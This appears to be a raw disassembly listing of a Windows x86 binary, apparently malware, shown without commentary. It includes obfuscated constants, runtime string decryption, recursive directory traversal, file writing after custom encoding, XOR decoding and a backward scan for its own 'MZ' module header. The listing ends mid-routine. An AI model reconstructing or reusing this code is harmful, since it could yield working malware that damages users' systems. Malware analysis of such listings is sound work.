lea eax, [ebp+var_110B]
push eax
push [ebp+arg_0]
call sub_43FE22
add esp, 14h
mov edi, dword_5511D0
add edi, 0FFF4h
add edi, dword_55121C
cmp eax, edi
jnz short loc_43F299
lea eax, [ebp+var_110B]
push eax
push [ebp+arg_0]
call ds:dword_44802C
push offset byte_551EE3
call sub_43CAF7
push eax
push [ebp+arg_0]
call ds:dword_44802C
add esp, 14h
loc_43F299: ; CODE XREF: sub_43F090+1E0j
mov eax, dword_55117C
sub eax, 6
push eax
lea eax, [ebp+var_120A]
push eax
push [ebp+arg_0]
call sub_43FE22
add esp, 0Ch
mov edi, dword_55118C
add edi, 0FFFEh
add edi, dword_55123C
cmp eax, edi
jnz short loc_43F305
push offset dword_551ED8
call sub_43CAF7
push eax
push [ebp+arg_0]
call ds:dword_44802C
lea eax, [ebp+var_120A]
push eax
push [ebp+arg_0]
call ds:dword_44802C
push offset byte_551ED3
call sub_43CAF7
push eax
push [ebp+arg_0]
call ds:dword_44802C
add esp, 20h
loc_43F305: ; CODE XREF: sub_43F090+238j
inc [ebp+var_1008]
loc_43F30B: ; CODE XREF: sub_43F090+197j
push [ebp+var_1004]
call sub_43F7FF
pop ecx
mov [ebp+var_100C], eax
movsx ecx, word_551128
add ecx, dword_551184
sub ecx, 7
cmp eax, ecx
jnb short loc_43F385
movsx eax, word_5510D0
sub eax, 5
push eax
lea eax, [ebp+var_110B]
push eax
push [ebp+arg_0]
call sub_43FE22
add esp, 0Ch
mov edi, dword_5510DC
add edi, 0FFFBh
cmp eax, edi
jnz short loc_43F385
lea eax, [ebp+var_110B]
push eax
push [ebp+arg_0]
call ds:dword_44802C
push offset word_551ECE
call sub_43CAF7
push eax
push [ebp+arg_0]
call ds:dword_44802C
add esp, 14h
loc_43F385: ; CODE XREF: sub_43F090+29Fj
; sub_43F090+2CCj
lea ecx, [ebp+ebx+var_FFF]
or eax, 0FFFFFFFFh
loc_43F38F: ; CODE XREF: sub_43F090+304j
inc eax
cmp byte ptr [ecx+eax], 0
jnz short loc_43F38F
add ebx, eax
inc [ebp+var_1004]
add ebx, 1
movsx eax, [ebp+ebx+var_FFF]
mov edx, dword_55111C
movsx ecx, word_551240
add edx, ecx
sub edx, 0Ah
cmp eax, edx
jnz loc_43F1D6
push offset byte_551EC9
call sub_43CAF7
push eax
push [ebp+arg_0]
call ds:dword_44802C
add esp, 0Ch
mov eax, [ebp+var_1008]
mov dword_5512A0, eax
loc_43F3E5: ; CODE XREF: sub_43F090+B8j
; sub_43F090+F2j
pop edi
pop esi
pop ebx
leave
retn
sub_43F090 endp
; =============== S U B R O U T I N E =======================================
sub_43F3EA proc near ; CODE XREF: sub_43D370+2Bp
; sub_43DA46+2Bp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebx
push esi
push edi
mov esi, [esp+0Ch+arg_0]
mov edi, [esp+0Ch+arg_4]
mov ecx, edi
mov ebx, esi
shl ebx, cl
mov edx, dword_551174
add edx, 11h
add edx, dword_551108
mov ecx, edx
sub ecx, edi
mov eax, esi
shr eax, cl
or ebx, eax
mov eax, ebx
pop edi
pop esi
pop ebx
retn
sub_43F3EA endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43F41A proc near ; DATA XREF: sub_4424CE+1Do
; sub_443843+48o ...
var_124 = dword ptr -124h
var_120 = dword ptr -120h
var_11C = dword ptr -11Ch
var_118 = dword ptr -118h
var_114 = byte ptr -114h
var_10 = byte ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 124h
push ebx
push esi
push edi
push 61A80h
push 40h
call ds:dword_48B9EC
mov ebx, eax
push 493E0h
push 40h
call ds:dword_48B9EC
mov [ebp+var_4], eax
mov eax, [ebp+arg_0]
add eax, 2
push eax
push [ebp+var_4]
call sub_4475D4
mov eax, [ebp+var_4]
mov ecx, eax
or eax, 0FFFFFFFFh
loc_43F45C: ; CODE XREF: sub_43F41A+47j
inc eax
cmp byte ptr [ecx+eax], 0
jnz short loc_43F45C
mov [ebp+var_8], eax
mov edi, dword_5511D0
sub edi, 7
jmp short loc_43F4AC
; ---------------------------------------------------------------------------
loc_43F471: ; CODE XREF: sub_43F41A+95j
mov eax, edi
add eax, [ebp+var_4]
mov [ebp+var_118], eax
movzx edx, byte ptr [eax]
mov [ebp+var_120], edx
mov eax, edi
mov [ebp+var_11C], eax
mul edi
mov [ebp+var_124], eax
mov eax, [ebp+var_120]
mov edx, [ebp+var_124]
add eax, edx
mov edx, [ebp+var_118]
mov [edx], al
inc edi
loc_43F4AC: ; CODE XREF: sub_43F41A+55j
cmp edi, [ebp+var_8]
jb short loc_43F471
movsx eax, word_55113C
movsx edx, word_551148
lea eax, [eax+edx+61A76h]
push eax
push ebx
push [ebp+var_8]
push [ebp+var_4]
call sub_442E73
add esp, 10h
mov esi, dword_551090
sub esi, 4
jmp short loc_43F4F6
; ---------------------------------------------------------------------------
loc_43F4E1: ; CODE XREF: sub_43F41A+EAj
cmp byte ptr [ebx+esi], 3Dh
jnz short loc_43F4EB
mov byte ptr [ebx+esi], 29h
loc_43F4EB: ; CODE XREF: sub_43F41A+CBj
cmp byte ptr [ebx+esi], 2Bh
jnz short loc_43F4F5
mov byte ptr [ebx+esi], 28h
loc_43F4F5: ; CODE XREF: sub_43F41A+D5j
inc esi
loc_43F4F6: ; CODE XREF: sub_43F41A+C5j
mov ecx, ebx
or eax, 0FFFFFFFFh
loc_43F4FB: ; CODE XREF: sub_43F41A+E6j
inc eax
cmp byte ptr [ecx+eax], 0
jnz short loc_43F4FB
cmp esi, eax
jb short loc_43F4E1
movsx eax, word_551198
add eax, dword_551090
sub eax, 5
mov edx, [ebp+arg_0]
cmp byte ptr [edx+eax], 4Bh
jnz short loc_43F530
push offset dword_44B0A0
lea eax, [ebp+var_114]
push eax
call sub_4475D4
loc_43F530: ; CODE XREF: sub_43F41A+103j
movsx eax, word_5511F0
sub eax, 6
mov edx, [ebp+arg_0]
cmp byte ptr [edx+eax], 44h
jnz short loc_43F554
push offset dword_4CC440
lea eax, [ebp+var_114]
push eax
call sub_4475D4
loc_43F554: ; CODE XREF: sub_43F41A+127j
movsx eax, word_551240
sub eax, 8
mov edx, [ebp+arg_0]
cmp byte ptr [edx+eax], 50h
jnz short loc_43F599
push offset dword_4CD830
lea eax, [ebp+var_114]
push eax
call sub_4475D4
mov eax, dword_551228
sub eax, 7
push eax
push ebx
lea eax, [ebp+var_114]
push eax
call sub_441BFD
add esp, 0Ch
or eax, eax
jnz loc_43F71B
loc_43F599: ; CODE XREF: sub_43F41A+14Bj
mov eax, dword_551090
add eax, dword_5510D4
sub eax, 9
push eax
mov eax, dword_5510BC
movsx edx, word_551118
add eax, edx
sub eax, 8
push eax
push 4
mov eax, dword_55122C
sub eax, 7
push eax
movsx eax, word_5511F0
sub eax, 6
push eax
push 40000000h
lea eax, [ebp+var_114]
push eax
call ds:dword_54FB18
mov [ebp+var_C], eax
push 2
mov eax, dword_551090
sub eax, 4
push eax
movsx eax, word_551138
movsx edx, word_5510D0
add eax, edx
sub eax, 9
push eax
push [ebp+var_C]
call ds:dword_54FF30
push offset byte_551EC1
call sub_43CAF7
pop ecx
movsx edx, word_551218
push edx
lea edx, [ebp+var_10]
push edx
mov edx, dword_55124C
movsx ecx, word_55113C
add edx, ecx
sub edx, 0Eh
push edx
push eax
push [ebp+var_C]
call ds:dword_54FF1C
mov eax, dword_55114C
movsx edx, word_5511A8
add eax, edx
sub eax, 2
mov edx, [ebp+arg_0]
cmp byte ptr [edx+eax], 4Bh
jnz short loc_43F68D
push offset dword_551EBC
call sub_43CAF7
pop ecx
movsx edx, word_551148
dec edx
push edx
lea edx, [ebp+var_10]
push edx
mov edx, dword_551248
add edx, dword_551224
sub edx, 4
push edx
push eax
push [ebp+var_C]
call ds:dword_54FF1C
loc_43F68D: ; CODE XREF: sub_43F41A+23Fj
mov eax, dword_551110
sub eax, 9
mov edx, [ebp+arg_0]
cmp byte ptr [edx+eax], 50h
jnz short loc_43F6DA
push offset byte_551EB7
call sub_43CAF7
pop ecx
mov edx, dword_5511C0
movsx ecx, word_5510FC
add edx, ecx
sub edx, 3
push edx
lea edx, [ebp+var_10]
push edx
mov edx, dword_5510E8
movsx ecx, word_551104
add edx, ecx
push edx
push eax
push [ebp+var_C]
call ds:dword_54FF1C
loc_43F6DA: ; CODE XREF: sub_43F41A+282j
mov ecx, ebx
or eax, 0FFFFFFFFh
loc_43F6DF: ; CODE XREF: sub_43F41A+2CAj
inc eax
cmp byte ptr [ecx+eax], 0
jnz short loc_43F6DF
mov ecx, dword_551154
add ecx, dword_551204
sub ecx, 0Ah
push ecx
lea ecx, [ebp+var_10]
push ecx
mov ecx, dword_5511F8
sub ecx, 2
mov edx, eax
add edx, ecx
push edx
push ebx
push [ebp+var_C]
call ds:dword_54FF1C
push [ebp+var_C]
call ds:dword_4CD948
loc_43F71B: ; CODE XREF: sub_43F41A+179j
push [ebp+var_4]
call ds:dword_44B5CC
push ebx
call ds:dword_44B5CC
pop edi
pop esi
pop ebx
leave
retn
sub_43F41A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43F730 proc near ; CODE XREF: sub_43E7A3+Bp
; sub_43E7A3+20p ...
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push edi
push [ebp+arg_0]
push dword_551254
call ds:dword_44B1AC
mov edi, eax
pop edi
pop ebp
retn
sub_43F730 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43F748 proc near ; CODE XREF: sub_43E652+10Ap
; sub_443B74+182p ...
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ecx
push eax
push ebx
push esi
push edi
movsx eax, word_5510B4
movsx edx, word_5511A8
mov esi, eax
add esi, edx
sub esi, 5
lea eax, [ebp+var_4]
push eax
push offset dword_552A08
mov eax, [ebp+arg_0]
push eax
mov ebx, [eax]
call dword ptr ds:0[ebx]
mov edi, eax
mov eax, dword_551114
add eax, dword_5511D8
sub eax, 5
cmp edi, eax
jz short loc_43F793
xor eax, eax
jmp short loc_43F7FA
; ---------------------------------------------------------------------------
loc_43F793: ; CODE XREF: sub_43F748+45j
lea eax, [ebp+var_8]
push eax
push [ebp+arg_8]
mov eax, [ebp+var_4]
push eax
mov ebx, [eax]
call dword ptr [ebx+10h]
mov edi, eax
mov eax, dword_551090
add eax, dword_551108
sub eax, 0Ch
cmp edi, eax
jnz short loc_43F7EF
push [ebp+arg_C]
push [ebp+arg_4]
mov eax, [ebp+var_8]
push eax
mov ebx, [eax]
call dword ptr [ebx+14h]
mov edi, eax
mov eax, dword_551224
movsx edx, word_551094
add eax, edx
sub eax, 3
cmp edi, eax
jnz short loc_43F7E6
mov esi, dword_5510F0
sub esi, 2
loc_43F7E6: ; CODE XREF: sub_43F748+93j
mov eax, [ebp+var_8]
push eax
mov ebx, [eax]
call dword ptr [ebx+8]
loc_43F7EF: ; CODE XREF: sub_43F748+6Dj
mov eax, [ebp+var_4]
push eax
mov ebx, [eax]
call dword ptr [ebx+8]
mov eax, esi
loc_43F7FA: ; CODE XREF: sub_43F748+49j
pop edi
pop esi
pop ebx
leave
retn
sub_43F748 endp
; =============== S U B R O U T I N E =======================================
sub_43F7FF proc near ; CODE XREF: sub_43F090+281p
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
mov ecx, esi
movsx eax, word_5510A8
add eax, dword_5510A4
cmp ecx, eax
jge short loc_43F84C
movsx eax, word_5510A8
add eax, dword_551154
sub eax, 3
imul ecx, eax
mov eax, dword_5510D8
sub eax, 5
mov edx, esi
add edx, eax
mov eax, dword_5510A0
add eax, dword_55111C
dec eax
imul edx, eax
sub ecx, edx
jmp loc_43F98A
; ---------------------------------------------------------------------------
loc_43F84C: ; CODE XREF: sub_43F7FF+16j
dec ecx
movsx eax, word_551210
add eax, 0Fh
cmp ecx, eax
jge short loc_43F87C
mov eax, dword_551234
sub eax, 6
imul ecx, eax
mov eax, ecx
sub eax, esi
mov edx, dword_5511AC
add edx, 0Bh
mov ecx, eax
sub ecx, edx
jmp loc_43F98A
; ---------------------------------------------------------------------------
loc_43F87C: ; CODE XREF: sub_43F7FF+5Aj
dec ecx
movsx eax, word_5511F0
mov edx, dword_5511C8
lea eax, [eax+edx+14h]
cmp ecx, eax
jge short loc_43F8BA
movsx eax, word_551194
add eax, dword_5511F4
sub eax, 7
imul ecx, eax
mov eax, dword_551238
add eax, 3Ah
add eax, dword_5511A0
sub ecx, eax
jmp loc_43F98A
; ---------------------------------------------------------------------------
loc_43F8BA: ; CODE XREF: sub_43F7FF+91j
dec ecx
mov eax, dword_55110C
add eax, 22h
cmp ecx, eax
jge short loc_43F8E9
movsx eax, word_551208
add eax, dword_551150
sub eax, 3
imul ecx, eax
mov eax, dword_551188
add eax, 41h
sub ecx, eax
jmp loc_43F98A
; ---------------------------------------------------------------------------
loc_43F8E9: ; CODE XREF: sub_43F7FF+C6j
dec ecx
mov eax, dword_551180
add eax, 2Bh
movsx edx, word_551194
add eax, edx
cmp ecx, eax
jge short loc_43F918
movsx eax, word_5511CC
sub eax, 7
imul ecx, eax
mov eax, dword_551158
add eax, 51h
sub ecx, eax
jmp short loc_43F98A
; ---------------------------------------------------------------------------
loc_43F918: ; CODE XREF: sub_43F7FF+FEj
dec ecx
movsx eax, word_5510F4
mov edx, dword_551178
lea eax, [eax+edx+2Bh]
cmp ecx, eax
jge short loc_43F950
movsx eax, word_551148
movsx edx, word_551138
add eax, edx
sub eax, 2
imul ecx, eax
mov eax, dword_551168
add eax, 68h
sub ecx, eax
jmp short loc_43F98A
; ---------------------------------------------------------------------------
loc_43F950: ; CODE XREF: sub_43F7FF+12Dj
dec ecx
mov eax, dword_551170
add eax, 35h
cmp ecx, eax
jge short loc_43F980
mov eax, dword_551130
add eax, dword_551160
sub eax, 6
imul ecx, eax
mov eax, dword_5511D0
add eax, 68h
add eax, dword_551130
sub ecx, eax
jmp short loc_43F98A
; ---------------------------------------------------------------------------
loc_43F980: ; CODE XREF: sub_43F7FF+15Cj
mov eax, dword_5511EC
add eax, 36h
sub ecx, eax
loc_43F98A: ; CODE XREF: sub_43F7FF+48j
; sub_43F7FF+78j ...
mov eax, ecx
pop esi
retn
sub_43F7FF endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43F98E proc near ; CODE XREF: sub_442E73+54p
; sub_442E73+CEp
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov eax, [ebp+arg_0]
movzx ebx, byte ptr [eax]
movsx eax, word_5510D0
mov edx, dword_551114
lea eax, [eax+edx+0F9h]
imul ebx, eax
mov eax, [ebp+arg_0]
movzx eax, byte ptr [eax+1]
add ebx, eax
movsx eax, word_551208
movsx edx, word_5510D0
lea eax, [eax+edx+0F9h]
imul ebx, eax
mov eax, [ebp+arg_0]
movzx eax, byte ptr [eax+2]
add ebx, eax
mov esi, dword_551150
sub esi, 4
jmp short loc_43FA32
; ---------------------------------------------------------------------------
loc_43F9E7: ; CODE XREF: sub_43F98E+B3j
mov edi, dword_551100
sub edi, 6
sub edi, esi
mov edx, [ebp+arg_4]
mov [ebp+var_4], edx
mov edx, ebx
and edx, 8000003Fh
jge short loc_43FA07
dec edx
or edx, 0FFFFFFC0h
inc edx
loc_43FA07: ; CODE XREF: sub_43F98E+72j
mov dl, ds:byte_54FF40[edx]
mov ecx, [ebp+var_4]
mov [ecx+edi], dl
mov eax, ebx
mov edi, dword_55115C
add edi, 37h
movsx edx, word_5510F8
mov ecx, edi
add ecx, edx
cdq
idiv ecx
mov ebx, eax
add esi, 1
loc_43FA32: ; CODE XREF: sub_43F98E+57j
movsx eax, word_5510FC
add eax, dword_551124
cmp esi, eax
jl short loc_43F9E7
pop edi
pop esi
pop ebx
leave
retn
sub_43F98E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43FA48 proc near ; CODE XREF: sub_43B5D8+93p
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push eax
push edi
mov edi, [ebp+arg_0]
call sub_44322A
or eax, eax
jz short loc_43FA7E
push dword_551288
push 1
push edi
call ds:dword_54E968
mov [ebp+var_4], eax
push dword_551288
push 4
push edi
call ds:dword_54E968
mov [ebp+var_8], eax
loc_43FA7E: ; CODE XREF: sub_43FA48+10j
pop edi
leave
retn
sub_43FA48 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43FA81 proc near ; DATA XREF: .data:off_5512A8o
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov esi, [ebp+arg_4]
mov edi, [ebp+arg_8]
push offset dword_552A98
push esi
call ds:dword_50E93C
or eax, eax
jz short loc_43FAAD
mov eax, [ebp+arg_0]
mov [edi], eax
push dword ptr [edi]
mov ebx, [eax]
call dword ptr [ebx+4]
xor eax, eax
jmp short loc_43FAFC
; ---------------------------------------------------------------------------
loc_43FAAD: ; CODE XREF: sub_43FA81+1Aj
push offset dword_552A18
push esi
call ds:dword_50E93C
or eax, eax
jz short loc_43FACD
mov eax, [ebp+arg_0]
mov [edi], eax
push dword ptr [edi]
mov ebx, [eax]
call dword ptr [ebx+4]
xor eax, eax
jmp short loc_43FAFC
; ---------------------------------------------------------------------------
loc_43FACD: ; CODE XREF: sub_43FA81+3Aj
push offset dword_5529F8
push esi
call ds:dword_50E93C
or eax, eax
jz short loc_43FAED
mov eax, [ebp+arg_0]
mov [edi], eax
push dword ptr [edi]
mov ebx, [eax]
call dword ptr [ebx+4]
xor eax, eax
jmp short loc_43FAFC
; ---------------------------------------------------------------------------
loc_43FAED: ; CODE XREF: sub_43FA81+5Aj
mov eax, dword_5510AC
sub eax, 7
mov [edi], eax
mov eax, 80004002h
loc_43FAFC: ; CODE XREF: sub_43FA81+2Aj
; sub_43FA81+4Aj ...
pop edi
pop esi
pop ebx
pop ebp
retn 0Ch
sub_43FA81 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43FB03 proc near ; CODE XREF: sub_43E114+142p
; sub_43FB03+29Dp ...
var_268 = byte ptr -268h
var_260 = dword ptr -260h
var_25C = dword ptr -25Ch
var_258 = word ptr -258h
var_256 = word ptr -256h
var_252 = word ptr -252h
var_250 = word ptr -250h
var_24E = word ptr -24Eh
var_248 = dword ptr -248h
var_242 = byte ptr -242h
var_13E = byte ptr -13Eh
var_112 = byte ptr -112h
arg_0 = dword ptr 8
arg_8 = byte ptr 10h
arg_18 = byte ptr 20h
arg_20 = dword ptr 28h
arg_24 = dword ptr 2Ch
push ebp
mov ebp, esp
sub esp, 268h
push ebx
push esi
push edi
push 0
call ds:dword_50E924
xor ebx, ebx
inc ebx
push offset byte_551EAF
call sub_43CAF7
push [ebp+arg_0]
push eax
lea edi, [ebp+var_242]
push edi
call ds:dword_50E928
add esp, 14h
lea eax, [ebp+var_13E]
push eax
lea eax, [ebp+var_242]
push eax
call ds:dword_4CC228
mov [ebp+var_248], eax
mov ecx, dword_5511B4
add ecx, dword_551158
sub ecx, 6
neg ecx
cmp eax, ecx
jnz loc_43FD54
mov eax, dword_551114
add eax, 3FDh
add eax, dword_551168
cmp [ebp+arg_24], eax
jnb short loc_43FB9C
mov eax, dword_5511BC
add eax, 97h
movsx edx, word_5511E8
add eax, edx
cmp [ebp+arg_24], eax
jnz loc_43FE1D
loc_43FB9C: ; CODE XREF: sub_43FB03+7Bj
movsx eax, word_5510FC
sub eax, 2
cmp [ebp+arg_20], eax
ja loc_43FE1D
movsx eax, word_551118
add eax, 30D38h
cmp [ebp+arg_24], eax
ja loc_43FE1D
lea eax, [ebp+arg_18]
push eax
lea eax, [ebp+arg_8]
push eax
call ds:dword_54FB10
mov [ebp+var_260], eax
mov eax, dword_5511F8
add eax, dword_551170
sub eax, 7
cmp [ebp+var_260], eax
jge short loc_43FBFB
lea edi, [ebp+var_268]
lea esi, [ebp+arg_18]
movsd
movsd
jmp short loc_43FC06
; ---------------------------------------------------------------------------
loc_43FBFB: ; CODE XREF: sub_43FB03+E9j
lea edi, [ebp+var_268]
lea esi, [ebp+arg_8]
movsd
movsd
loc_43FC06: ; CODE XREF: sub_43FB03+F6j
lea eax, [ebp+var_258]
push eax
lea eax, [ebp+var_268]
push eax
call ds:dword_54EA78
movsx eax, word_551190
movzx edx, [ebp+var_24E]
movzx ecx, [ebp+var_250]
mov esi, dword_551134
add esi, 3Ah
imul ecx, esi
add edx, ecx
movzx ecx, [ebp+var_252]
mov esi, dword_55117C
add esi, 0Dh
add esi, dword_551170
imul ecx, esi
movsx esi, word_5511C4
mov edi, dword_551234
lea esi, [esi+edi+2Ch]
imul ecx, esi
add edx, ecx
movzx ecx, [ebp+var_256]
mov esi, dword_5510F0
add esi, 18h
add esi, dword_551158
imul ecx, esi
mov esi, eax
add esi, 10h
imul ecx, esi
mov esi, dword_5511F8
add esi, 34h
add esi, dword_551200
imul ecx, esi
add edx, ecx
movzx ecx, [ebp+var_258]
mov esi, dword_5511B8
add esi, 4
add esi, dword_551184
imul ecx, esi
mov esi, dword_551220
add esi, 1Ah
movsx edi, word_5510F4
add esi, edi
imul ecx, esi
movsx esi, word_5510C4
lea eax, [eax+esi+0Ah]
imul ecx, eax
mov eax, dword_55123C
add eax, 34h
add eax, dword_5511A0
imul ecx, eax
mov eax, edx
add eax, ecx
mov [ebp+var_25C], eax
mov edx, ds:dword_448030
cmp eax, edx
ja loc_43FE1D
sub edx, eax
mov eax, dword_5510D4
add eax, 8
movsx ecx, word_5511E8
add eax, ecx
cmp edx, eax
jnb loc_43FE1D
mov eax, dword_5511BC
add eax, 9Eh
cmp [ebp+arg_24], eax
jz short loc_43FD42
push 0
push [ebp+arg_0]
call sub_446250
add esp, 8
jmp loc_43FE1D
; ---------------------------------------------------------------------------
loc_43FD42: ; CODE XREF: sub_43FB03+22Bj
push 1
push [ebp+arg_0]
call sub_446250
add esp, 8
jmp loc_43FE1D
; ---------------------------------------------------------------------------
loc_43FD54: ; CODE XREF: sub_43FB03+62j
cmp [ebp+var_112], 2Eh
jz loc_43FE19
push offset word_551EA6
call sub_43CAF7
lea edi, [ebp+var_112]
push edi
push [ebp+arg_0]
push eax
lea edi, [ebp+var_242]
push edi
call ds:dword_50E928
lea esi, [ebp+var_13E]
sub esp, 140h
mov edi, esp
mov ecx, 9Fh
rep movsw
lea edi, [ebp+var_242]
push edi
call sub_43FB03
add esp, 158h
jmp short loc_43FE19
; ---------------------------------------------------------------------------
loc_43FDAD: ; CODE XREF: sub_43FB03+318j
lea eax, [ebp+var_13E]
push eax
push [ebp+var_248]
call ds:dword_449FC8
mov ebx, eax
or ebx, ebx
jz short loc_43FE1D
cmp [ebp+var_112], 2Eh
jz short loc_43FE19
push offset byte_551E9D
call sub_43CAF7
lea edi, [ebp+var_112]
push edi
push [ebp+arg_0]
push eax
lea edi, [ebp+var_242]
push edi
call ds:dword_50E928
lea esi, [ebp+var_13E]
sub esp, 140h
mov edi, esp
mov ecx, 9Fh
rep movsw
lea edi, [ebp+var_242]
push edi
call sub_43FB03
add esp, 158h
loc_43FE19: ; CODE XREF: sub_43FB03+258j
; sub_43FB03+2A8j ...
or ebx, ebx
jnz short loc_43FDAD
loc_43FE1D: ; CODE XREF: sub_43FB03+93j
; sub_43FB03+A6j ...
pop edi
pop esi
pop ebx
leave
retn
sub_43FB03 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43FE22 proc near ; CODE XREF: sub_43D535+164p
; sub_43DA83+40p ...
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov eax, dword_551170
sub eax, 4
mov [ebp+var_8], eax
mov eax, [ebp+arg_4]
mov ecx, eax
or eax, 0FFFFFFFFh
loc_43FE3E: ; CODE XREF: sub_43FE22+21j
inc eax
cmp byte ptr [ecx+eax], 0
jnz short loc_43FE3E
mov esi, eax
mov eax, [ebp+arg_0]
lea ecx, [eax]
or eax, 0FFFFFFFFh
loc_43FE4F: ; CODE XREF: sub_43FE22+32j
inc eax
cmp byte ptr [ecx+eax], 0
jnz short loc_43FE4F
mov [ebp+var_C], eax
mov eax, dword_5511AC
sub eax, 2
mov [ebp+var_4], eax
jmp short loc_43FEB3
; ---------------------------------------------------------------------------
loc_43FE66: ; CODE XREF: sub_43FE22+97j
mov ebx, dword_551130
dec ebx
mov eax, dword_5510B0
mov edi, eax
add edi, dword_55117C
sub edi, 0Ch
jmp short loc_43FEAC
; ---------------------------------------------------------------------------
loc_43FE7F: ; CODE XREF: sub_43FE22+8Cj
mov eax, [ebp+var_4]
add eax, edi
mov edx, [ebp+arg_0]
movsx eax, byte ptr [edx+eax]
mov edx, [ebp+arg_4]
movsx edx, byte ptr [edx+edi]
cmp eax, edx
jnz short loc_43FEB0
inc ebx
cmp ebx, esi
jnz short loc_43FEAB
inc [ebp+var_8]
mov eax, [ebp+arg_8]
cmp [ebp+var_8], eax
jnz short loc_43FEAB
mov eax, [ebp+var_4]
jmp short loc_43FEC0
; ---------------------------------------------------------------------------
loc_43FEAB: ; CODE XREF: sub_43FE22+77j
; sub_43FE22+82j
inc edi
loc_43FEAC: ; CODE XREF: sub_43FE22+5Bj
cmp edi, esi
jb short loc_43FE7F
loc_43FEB0: ; CODE XREF: sub_43FE22+72j
inc [ebp+var_4]
loc_43FEB3: ; CODE XREF: sub_43FE22+42j
mov eax, [ebp+var_C]
cmp [ebp+var_4], eax
jb short loc_43FE66
mov eax, 0FFFFh
loc_43FEC0: ; CODE XREF: sub_43FE22+87j
pop edi
pop esi
pop ebx
leave
retn
sub_43FE22 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43FEC5 proc near ; CODE XREF: sub_442B82+294p
; sub_443F06+15p ...
var_4 = word ptr -4
var_2 = word ptr -2
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov edi, [ebp+arg_0]
cmp dword_551250, 0
jnz short loc_43FEED
push offset dword_550050
call ds:dword_449FCC
mov dword_551250, 1
loc_43FEED: ; CODE XREF: sub_43FEC5+11j
mov esi, dword_55112C
add esi, dword_5511E0
sub esi, 6
movzx ebx, byte ptr [edi]
movzx edx, byte ptr [edi+2]
movzx edx, dx
shl edx, 8
or ebx, edx
movzx ebx, bx
mov edx, dword_5511C0
inc edx
imul ebx, edx
add esi, ebx
mov [ebp+var_4], si
movzx eax, [ebp+var_4]
mov edx, dword_5511FC
add edx, 5
add edx, dword_551130
cmp eax, edx
jz loc_43FFB9
push offset dword_550050
call ds:dword_54E95C
mov eax, dword_551134
add eax, 4
mov [ebp+var_2], ax
jmp short loc_43FF74
; ---------------------------------------------------------------------------
loc_43FF52: ; CODE XREF: sub_43FEC5+B9j
movzx eax, [ebp+var_2]
add eax, edi
movsx edx, byte ptr [eax]
movsx ecx, byte ptr [edi+4]
xor edx, ecx
mov [eax], dl
movzx eax, [ebp+var_2]
mov edx, dword_551114
inc edx
add eax, edx
mov [ebp+var_2], ax
loc_43FF74: ; CODE XREF: sub_43FEC5+8Bj
movzx eax, [ebp+var_2]
movzx edx, [ebp+var_4]
cmp eax, edx
jl short loc_43FF52
mov eax, dword_551114
dec eax
mov edx, dword_5511F4
add edx, dword_55122C
sub edx, 10h
mov [edi+eax], dl
movsx eax, word_551144
sub eax, 2
mov edx, dword_551178
sub edx, 9
mov [edi+eax], dl
push offset dword_550050
call ds:dword_4CD940
loc_43FFB9: ; CODE XREF: sub_43FEC5+6Ej
lea eax, [edi+6]
pop edi
pop esi
pop ebx
leave
retn
sub_43FEC5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43FFC1 proc near ; CODE XREF: sub_43D76D+218p
var_28C = dword ptr -28Ch
var_288 = dword ptr -288h
var_281 = byte ptr -281h
var_267 = byte ptr -267h
var_252 = byte ptr -252h
var_245 = byte ptr -245h
var_230 = dword ptr -230h
var_22A = byte ptr -22Ah
var_228 = dword ptr -228h
var_224 = dword ptr -224h
var_220 = byte ptr -220h
var_21F = byte ptr -21Fh
var_215 = byte ptr -215h
var_120 = dword ptr -120h
var_11C = dword ptr -11Ch
var_118 = dword ptr -118h
var_114 = dword ptr -114h
var_110 = dword ptr -110h
var_10C = dword ptr -10Ch
var_108 = dword ptr -108h
var_103 = byte ptr -103h
var_102 = byte ptr -102h
var_101 = byte ptr -101h
var_FE = byte ptr -0FEh
var_FD = byte ptr -0FDh
var_FC = byte ptr -0FCh
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 28Ch
push ebx
push esi
push edi
mov edi, [ebp+arg_0]
movsx esi, word_551138
movsx edx, word_5510FC
lea ecx, [esi+edx+0Bh]
shr edi, cl
movsx esi, word_5510C4
mov edx, dword_5511EC
lea esi, [esi+edx+7]
mov ecx, esi
mov ebx, edi
shl ebx, cl
loc_43FFFB: ; CODE XREF: sub_43FFC1+55j
; sub_43FFC1+9Bj ...
mov [ebp+var_114], ebx
mov eax, ebx
cmp word ptr [eax], 5A4Dh
jz short loc_440018
mov eax, dword_551154
add eax, 0FFF8h
sub ebx, eax
jmp short loc_43FFFB
